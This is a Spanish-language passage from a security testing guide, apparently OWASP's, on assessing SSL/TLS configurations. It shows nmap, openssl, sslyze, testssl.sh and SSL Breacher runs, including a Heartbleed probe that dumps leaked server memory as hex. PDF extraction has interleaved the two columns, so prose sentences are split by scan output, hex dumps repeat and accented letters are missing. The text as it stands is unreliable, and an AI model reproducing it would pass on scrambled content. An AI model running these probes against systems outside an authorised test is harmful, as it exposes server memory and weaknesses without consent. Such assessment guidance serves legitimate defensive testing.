Renegotiation debe desactivarse, debido a ataques MiTM [12] y las
Un ejemplo tpico es el uso de autenticacin bsica en HTTP porque con la renegociaciones iniciadas por el cliente deben desactivarse, debido a la
autenticacin bsica, despus de iniciar sesin, las credenciales son vulnerabilidad de Negacin de Servicio [13]).
codificadas - y no cifradas - en las cabeceras HTTP.
No deben haber suites de nivel de cifrado Export (EXP), debido a que puede ser
$ curl -kis http://example.com/restricted/ fcilmente roto [10].
HTTP/1.1 401 Authorization Required La longuitud de claves de los certificados X.509 deben ser fuertes (por ejemplo si
se utiliza RSA o DSA la clave debe ser de al menos 2048 bits).
Date: Fri, 01 Aug 2013 00:00:00 GMT
Los certificados X.509 deben firmarse nicamente con algoritmos de hashing
WWW-Authenticate: Basic realm=Restricted Area seguros (por ejemplo. sin firma al usar MD5 hash, debido a a ataques de colisin
en este hash).
Las claves deben generarse con la correcta entropa (e.g, Claves dbiles generadas
Vary: Accept-Encoding con Debian) [14].
Content-Length: 162
Content-Type: text/html Un lista de control ms completo incluye:
<html><head><title>401 Authorization Required</title></head> La renegociacin segura debe estar habilitada.
<body bgcolor=white> MD5 no debe usarse, debido a los ataques de colisin conocidos. [35]
<h1>401 Authorization Required</h1> RC4 no debe usarse, debido a los ataques cripto-analticos [15].
El servidor debe estar protegido de ataques BEAST [16].
El servidor debe estar protegido de ataques CRIME, la compresin TLS debe

Invalid login credentials!
estar deshabilitada [17].
El servidor debe soportar Forward Secrecy [18].

</body></html>
Las siguientes normas pueden ser utilizadas como referencia mientras se
evalan los servidores SSL:
Prueba de vulnerabilidades de SSL/TLS Ciphers/Protocolos/Claves
PCI-DSS v2.0 en el punto 4.1 requiere que las partes compatibles utilicen
La gran cantidad de suites de cifrado disponible y el rpido progreso en
criptografa fuerte sin definir precisamente los algoritmos y longitudes de las
criptoanlisis hacen de las pruebas del servidor SSL una tarea nada trivial.
claves. La interpretacin comn, basada parcialmente en las versiones anteriores de

250
la norma, es que el cifrado de la clave sea de al menos 128 bits, sin algoritmos de 22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
exportacin fuertes y sin usar SSLv2 [19].
25/tcp open smtp syn-ack Exim smtpd 4.80
Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] y
SSL Threat Model [20] han sido propuestos para estandarizar la configuracin y 26/tcp open smtp syn-ack Exim smtpd 4.80
evaluacin de servidor SSL. Pero est menos actualizada que SSL Server tool [21].
80/tcp open http syn-ack
OWASP tiene un gran cantidad de recursos para SSL/TLS Security [22], [23],
[24], [25]. [26]. 110/tcp open pop3 syn-ack Dovecot pop3d
Algunas herramientas y escneres tanto libres (por ejemplo SSLAudit [28] o 143/tcp open imap syn-ack Dovecot imapd
SSLScan [29]) como comerciales (por ejemplo Tenable Nessus [27]), pueden
utilizarse para evaluar las vulnerabilidades SSL/TLS. Pero debido a la evolucin de 443/tcp open ssl/http syn-ack Apache
estas vulnerabilidades, una buena manera de probar es comprobar manualmente
con openssl [30] o utilice las herramientas de salida como ingreso para la 465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
evaluacin manual usando las referencias.
993/tcp open ssl/imap syn-ack Dovecot imapd
995/tcp open ssl/pop3 syn-ack Dovecot pop3d

A veces, el servicio SSL/TLS habilitado no es directamente accesible y el
evaluador puede acceder a l a travs de un proxy HTTP utilizando el mtodo Service Info: Hosts: example.com
CONNECT [36]. La mayora de las herramientas intentarn conectarse al puerto
tcp deseado para iniciar el protocolo de enlace SSL/TLS. Esto no funcionar ya que Service detection performed. Please report any incorrect results at
el puerto deseado es accesible slo a travs de proxy HTTP. El evaluador http://nmap.org/submit/ .
fcilmente puede evitar esto usando software de reemplazo como socat [37].
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds
Ejemplo 2. reconocimiento de servicio SSL mediante nmap

Ejemplo 3. Comprobando la informacin del certificado, cifrados dbiles
El primer paso es identificar los puertos que tienen atados servicios SSL/TLS. Los y SSLv2 va nmap
puertos tcp con SSL para los servicios web y correo son normalmente - pero no
limitados a - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop). Nmap tiene dos secuencias de comandos para comprobar la informacin del
certificado, Weak Ciphers and SSLv2 [31].
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995

En este ejemplo buscamos servicios SSL usando nmap con la opcin "-sV", que se www.example.com
utiliza para identificar servicios y tambin es capaz de identificar los servicios SSL
[31]. Otras opciones, para este ejemplo en particular, deben ser personalizadas. A Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
menudo, en una prueba de penetracin de aplicaciones web, el alcance se limita al
puerto 80 y 443. Nmap scan report for www.example.com (127.0.0.1)
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com Host is up (0.090s latency).
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST rDNS record for 127.0.0.1: www.example.com
Nmap scan report for www.example.com (127.0.0.1) PORT STATE SERVICE
Host is up, received user-set (0.20s latency). 443/tcp open https
Not shown: 89 filtered ports | ssl-cert: Subject: commonName=www.example.org
Reason: 89 no-responses | Issuer: commonName=*******
PORT STATE SERVICE REASON VERSION | Public Key type: rsa
21/tcp open ftp syn-ack Pure-FTPd | Public Key bits: 1024

251
| Not valid before: 2010-01-23T00:00:00+00:00 | ssl-enum-ciphers:
| Not valid after: 2020-02-28T23:59:59+00:00 | SSLv3:
| MD5: ******* | ciphers:
|_SHA-1: ******* | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| ssl-enum-ciphers: | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| SSLv3: | TLS_RSA_WITH_RC4_128_SHA - strong
| ciphers: | compressors:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | NULL
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLSv1.0:
| TLS_RSA_WITH_RC4_128_SHA - strong | ciphers:
| compressors: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| NULL | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0: | TLS_RSA_WITH_RC4_128_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong |_ least strength: strong
| TLS_RSA_WITH_RC4_128_SHA - strong 993/tcp open imaps
| compressors: | ssl-cert: Subject: commonName=*.exapmple.com
| NULL | Issuer: commonName=*******
|_ least strength: strong | Public Key type: rsa
465/tcp open smtps | Public Key bits: 2048
| ssl-cert: Subject: commonName=*.exapmple.com | Not valid before: 2010-01-23T00:00:00+00:00
| Issuer: commonName=******* | Not valid after: 2020-02-28T23:59:59+00:00
| Public Key type: rsa | MD5: *******
| Public Key bits: 2048 |_SHA-1: *******
| Not valid before: 2010-01-23T00:00:00+00:00 | ssl-enum-ciphers:
| Not valid after: 2020-02-28T23:59:59+00:00 | SSLv3:
| MD5: ******* | ciphers:
|_SHA-1: ******* | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

252
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLSv1.0:
| TLS_RSA_WITH_RC4_128_SHA - strong | ciphers:
| compressors: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| NULL | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0: | TLS_RSA_WITH_RC4_128_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong |_ least strength: strong
| TLS_RSA_WITH_RC4_128_SHA - strong Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
| compressors:
| NULL Ejemplo 4 Compruebe la renegociacin iniciada por el cliente y la

renegociacin de seguridad mediante openssl (manualmente)
|_ least strength: strong
Openssl [30] puede ser utilizado para pruebas manuales de SSL/TLS. En este
995/tcp open pop3s ejemplo, el evaluador intenta iniciar una renegociacin por parte del cliente
[m] conectndose al servidor con openssl. El evaluador escribe entonces la
| ssl-cert: Subject: commonName=*.exapmple.com primera lnea de una solicitud HTTP y escribe "R" en una nueva lnea. Espera
una renegociacin y cierre de la solicitud HTTP y comprueba si la
| Issuer: commonName=******* renegociacin segura es compatible mirando el resultado del servidor. Usando
peticiones manuales tambin es posible ver si est habilitada la compresin de
| Public Key type: rsa TLS y comprobar el CRIME [13], cifrado y otras vulnerabilidades.
| Public Key bits: 2048 $ openssl s_client -connect www2.example.com:443
| Not valid before: 2010-01-23T00:00:00+00:00 CONNECTED(00000003)
| Not valid after: 2020-02-28T23:59:59+00:00 depth=2 ******
| MD5: ******* verify error:num=20:unable to get local issuer certificate
|_SHA-1: ******* verify return:0
| ssl-enum-ciphers: ---
| SSLv3: Certificate chain
| ciphers: 0 s:******
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong i:******
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong 1 s:******
| TLS_RSA_WITH_RC4_128_SHA - strong i:******
| compressors: 2 s:******
| NULL i:******

253
--- Verify return code: 20 (unable to get local issuer certificate)
Server certificate
-----BEGIN CERTIFICATE----- Ahora el evaluador puede escribir la primera lnea de una solicitud HTTP y
luego R en una nueva lnea.
******
HEAD / HTTP/1.1
-----END CERTIFICATE-----
R
subject=******
issuer=******
El servidor renegocia
---
RENEGOTIATING
No client certificate CA names sent
depth=2 C******
---
verify error:num=20:unable to get local issuer certificate
SSL handshake has read 3558 bytes and written 640 bytes
verify return:0
---
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA

Y el evaluador puede completar la solicitud, comprobando la respuesta.
Server public key is 2048 bit
Incluso si HEAD no est permitida, se permite la renegociacin iniciada por el
Secure Renegotiation IS NOT supported cliente.
HEAD / HTTP/1.1
Compression: NONE
Expansion: NONE
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource
SSL-Session:
Locator (URL). Contact the server administrator. )
Protocol : TLSv1
Connection: close
Cipher : DES-CBC3-SHA
Pragma: no-cache
Session-ID: ******
Session-ID-ctx:
Master-Key: ******
Content-Length: 1792
Key-Arg : None
PSK identity: None

read:errno=0
PSK identity hint: None
SRP username: None

Ejemplo 5. Prueba de las suites de cifrado soportadas contra ataques
BEAST y CRIME mediante TestSSLServer
Start Time: ******
TestSSLServer [32] es un script que permite al evaluador comprobar la suite de

Timeout : 300 (sec)
cifrado y tambin los ataques de CRIME y BEAST. BEAST (Browser Exploit

254
Against SSL/TLS) aprovecha una vulnerabilidad de CBC en TLS 1.0. CRIME DHE_RSA_WITH_3DES_EDE_CBC_SHA
(Compression Ratio Info-leak Made Easy) explota una vulnerabilidad de la
compresin de TLS, que debe deshabilitarse. Lo interesante es que la primera RSA_WITH_AES_128_CBC_SHA
solucin para BEAST era el uso de RC4, pero esto ahora no es aconsejable debido
a los ataque criptoanalticos a RC4 [15]. DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
Una herramienta en lnea para comprobar estos ataques es SSL Labs, pero puede DHE_RSA_WITH_AES_256_CBC_SHA
ser utilizada slo con servidores de internet. Tambin tome en cuenta que los datos
que se buscan se almacenarn en el servidor SSL Labs y tambin resultar alguna RSA_WITH_AES_128_CBC_SHA256
conexin de servidor de SSL Labs [21].
RSA_WITH_AES_256_CBC_SHA256
$ java -jar TestSSLServer.jar www3.example.com 443
RSA_WITH_CAMELLIA_128_CBC_SHA
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
Deflate compression: no
DHE_RSA_WITH_AES_128_CBC_SHA256
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
DHE_RSA_WITH_AES_256_CBC_SHA256
SSLv3
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA
----------------------
Server certificate(s):
******
----------------------
TLS_RSA_WITH_SEED_CBC_SHA
Minimal encryption strength: strong encryption (96-bit or more)
TLS_DHE_RSA_WITH_SEED_CBC_SHA
Achievable encryption strength: strong encryption (96-bit or more)
(TLSv1.0: idem)
BEAST status: vulnerable
(TLSv1.1: idem)
CRIME status: protected
TLSv1.2
RSA_WITH_RC4_128_SHA
Ejemplo 6. Prueba de vulnerabilidades SSL/TLS con sslyze
RSA_WITH_3DES_EDE_CBC_SHA
255
Sslyze [33] es un python script que permite el escaneo masivo y resultados XML. Client-initiated Renegotiations: Rejected
El siguiente es un ejemplo de un escaneo normal. Es una de las herramientas ms
completas y verstiles para SSL/TLS testing Secure Renegotiation: Supported
./sslyze.py --regular example.com:443
* Certificate :
REGISTERING AVAILABLE PLUGINS Validation w/ Mozillas CA Store: Certificate is NOT Trusted: unable to
get local issuer certificate
-----------------------------
Hostname Validation: MISMATCH
SHA1 Fingerprint: ******

PluginHSTS
PluginSessionRenegotiation
Common Name: www.example.com
PluginCertInfo
Issuer: ******
PluginSessionResumption
Serial Number: ****
PluginOpenSSLCipherSuites
Not Before: Sep 26 00:00:00 2010 GMT
PluginCompression
Not After: Sep 26 23:59:59 2020 GMT
Signature Algorithm: sha1WithRSAEncryption

CHECKING HOST(S) AVAILABILITY
Key Size: 1024 bit
-----------------------------
X509v3 Subject Alternative Name: {othername: [<unsupported>],
DNS: [www.example.com]}
example.com:443 => 127.0.0.1:443
* OCSP Stapling :
Server did not send back an OCSP response.
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443 * Session Resumption :
--------------------------------------------------- With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total

attempts).
With TLS Session Tickets: Supported

* Compression :
Compression Support: Disabled

* SSLV2 Cipher Suites :
* Session Renegotiation :

256
Rejected Cipher Suite(s): Hidden
Undefined - An unexpected error happened:
Preferred Cipher Suite: None ECDH-RSA-AES256-SHA socket.timeout - timed out
ECDH-ECDSA-AES256-SHA socket.timeout - timed out
Accepted Cipher Suite(s): None
* TLSV1_2 Cipher Suites :
Undefined - An unexpected error happened: None
* SSLV3 Cipher Suites :
Preferred Cipher Suite: None
Preferred Cipher Suite:
RC4-SHA 128 bits HTTP 200 OK Undefined - An unexpected error happened:
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out
Accepted Cipher Suite(s): ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK * TLSV1 Cipher Suites :
Undefined - An unexpected error happened: None
Preferred Cipher Suite:
* TLSV1_1 Cipher Suites : RC4-SHA 128 bits Timeout on HTTP GET
Rejected Cipher Suite(s): Hidden Accepted Cipher Suite(s):
Preferred Cipher Suite: None RC4-SHA 128 bits HTTP 200 OK

257
Undefined - An unexpected error happened:
ADH-CAMELLIA256-SHA socket.timeout - timed out
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---
(owasp.org resolves to 192.237.166.62 /

2001:4801:7821:77:cd2c:d9de:ff10:170e)
--> Protocolos de prueba

SCAN COMPLETED IN 9.68 S
------------------------
SSLv2 NOT offered (ok)
SSLv3 offered
Ejemplo 7. Prueba SSL/TLS con testssl.sh
TLSv1 offered (ok)
Testssl.sh [38] es un shell script de Linux que proporciona un resultado claro para
facilitar la toma de decisiones. No solo puede revisar servidores web, pero tambin TLSv1.1 offered (ok)
servicios en otros puertos, soporta STARTTLS, SNI, SPDY y realiza algunas
revisiones en los encabezados HTTP tambin. TLSv1.2 offered (ok)
Es una herramienta muy fcil de usar. A continuacin ver algunos ejemplos de SPDY/NPN not offered
resultados (sin colores):
user@myhost: % testssl.sh owasp.org

--> Probando el listado estandard de cifrado
########################################################
Null Cipher NOT offered (ok)
testssl.sh v2.0rc3 (https://testssl.sh)
Anonymous NULL Cipher NOT offered (ok)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)
Anonymous DH Cipher NOT offered (ok)
40 Bit encryption NOT offered (ok)

Este programa es software libre. Redistribucin + modificacin bajo el
GPLv2 est permitido. 56 Bit encryption NOT offered (ok)
USO SIN NINGUNA GARANTIA. USELO BAJO SU PROPIO RIESGO! Export Cipher (general) NOT offered (ok)
Low (<=64 Bit) NOT offered (ok)
Note que solo puede revisar el servidor comparandolo con lo que est DES Cipher NOT offered (ok)
disponible (codificadores/protocolos) localmente en su maquina
Triple DES Cipher offered
########################################################
Medium grade encryption offered
High grade encryption offered (ok)

Usando OpenSSL 1.0.2-beta1 24 Feb 2014 en
myhost:/<mypath>/bin/openssl64
--> Probando el servidor por defecto (Server Hello)
258
Negotiated protocol TLSv1.2 --> Testing (Perfect) Forward Secrecy (P)FS)
Negotiated cipher AES128-GCM-SHA256
no PFS available
Server key size 2048 bit
TLS server extensions: server name, renegotiation info, session ticket, Done now (2014-04-17 15:07) ---> owasp.org:443 <---
heartbeat
Session Tickets RFC 5077 300 seconds

user@myhost: %
--> Probando vulnerabilidades especficas

STARTTLS ser probado mediante testssl.sh -t smtp.gmail.com:587 smtp,
cada cifrado con testssl -e <target>, cada cifrado por protocolo con testssl -E
<target>. Solo para mostrar que cifradores locales estn instalados para
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) openssl, vea testssl -V. Para una revisin detallada, es mejor tirar los binarios
OpenSSL entregados en la ruta o el de testssl.sh.
Renegotiation (CVE 2009-3555) NOT vulnerable (ok)
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok)

Lo interesante , si un evaluador mira las fuentes, es aprender cmo se analizan
las caractersticas; vase el ejemplo 4. Lo mejor es el protocolo entero de
conexin con heartbleed en /bin/bash con /dev/tcp sockets puro -- sin
--> Revisando el cifrado RC4 piggyback perl/python/you name it.
El RC4 parece generalmente disponible. Ahora pruebe cifrados especficos... Adems, proporciona un prototipo (va "testssl.sh -V") del mapeo de nombres
de suites de cifrado RFC a OpenSSL. El evaluador necesita el archivo
mapping-rfc.txt en el mismo directorio.
Hexcode Cipher Name KeyExch. Encryption Bits
-------------------------------------------------------------------- Ejemplo 8. Pruebe el SSL/TLS con SSL Breacher
[0x05] RC4-SHA RSA RC4 128 Esta herramienta [99] es una combinacin de varias herramientas con algunas
comprobaciones adicionales para complementar y hacer a las pruebas ms
completas SSL. Soporta los siguientes controles:
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a
HeartBleed
ChangeCipherSpec Injection
--> Probando respuestas de encabezados HTTP
BREACH
BEAST
HSTS no
Forward Secrecy support
Server Apache
RC4 support
Application (None)
259
CRIME & TIME (si se detecta CRIME, tambin se reporta TIME) Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
Lucky13 Expiration Date: Sat Nov 09 07:48:47 SGT 2019
HSTS: Revise la implementacin de encabezados HSTS Signature Hash Algorithm: SHA1withRSA
HSTS: Duracin razonable de MAX-AGE Public key: Sun RSA public key, 1024 bits
HSTS: Revise el soporte de SubDomains modulus:

135632964843555009910164098161004086259135236815846778903941582882
Certificados expirados 908611097021488277565732851712895057227849656364886898196239901879
569635659861770850920241178222686670162318147175328086853962427921
Longitud de claves pblicas insuficientes
575656093414000691131757099663322369656756090030190369923050306668
778534926124693591013220754558036175189121517
Host-name no existente
public exponent: 65537

Algoritmos de hashing dbiles e inseguros (MD2, MD4, MD5)
Soporte SSLv2 Signed for: CN=localhost
Revisin de cifradores dbiles Signed by: CN=localhost
Prefijos Null en el certificado Total certificate chain: 1
HTTPS Stripping
Surf Jacking (Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)
Elementos y contenidos no SSL incrustados en paginas SSL
Cache-Control =====================================
pentester@r00ting: % breacher.sh https://localhost/login.php
Certificate Validation:
===============================
Host Info: [!] Signed using Insufficient public key length 1024 bits
============== (Refer to http://www.keylength.com/ for details)
Host : localhost [!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java
ROOT CAs.
Port : 443
Path : /login.php
=====================================
Loading module: Hut3 Cardiac Arrest ...
Certificate Info:
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...
==================

260
[-] Connecting to 127.0.0.1:443 using SSLv3 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
[-] Sending ClientHello 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
[-] ServerHello received 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
[-] Sending Heartbeat 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes are removed):
[-] Closing connection
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.0
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!..
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&..(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.0
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:. [-] Displaying response (lines consisting entirely of null bytes are removed):
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected].
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c. 0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k. 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m............. 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!..#.$.%.&.. 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!..
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&..(.).*.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected].
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!..#.$.%.&..
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.

261
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected].
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!..#.$.%.&..
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}..... 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
[-] Closing connection 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
[-] Connecting to 127.0.0.1:443 using TLSv1.1 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
[-] Sending ClientHello 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
[-] ServerHello received 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
[-] Sending Heartbeat 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over TLSv1.1
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.2
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
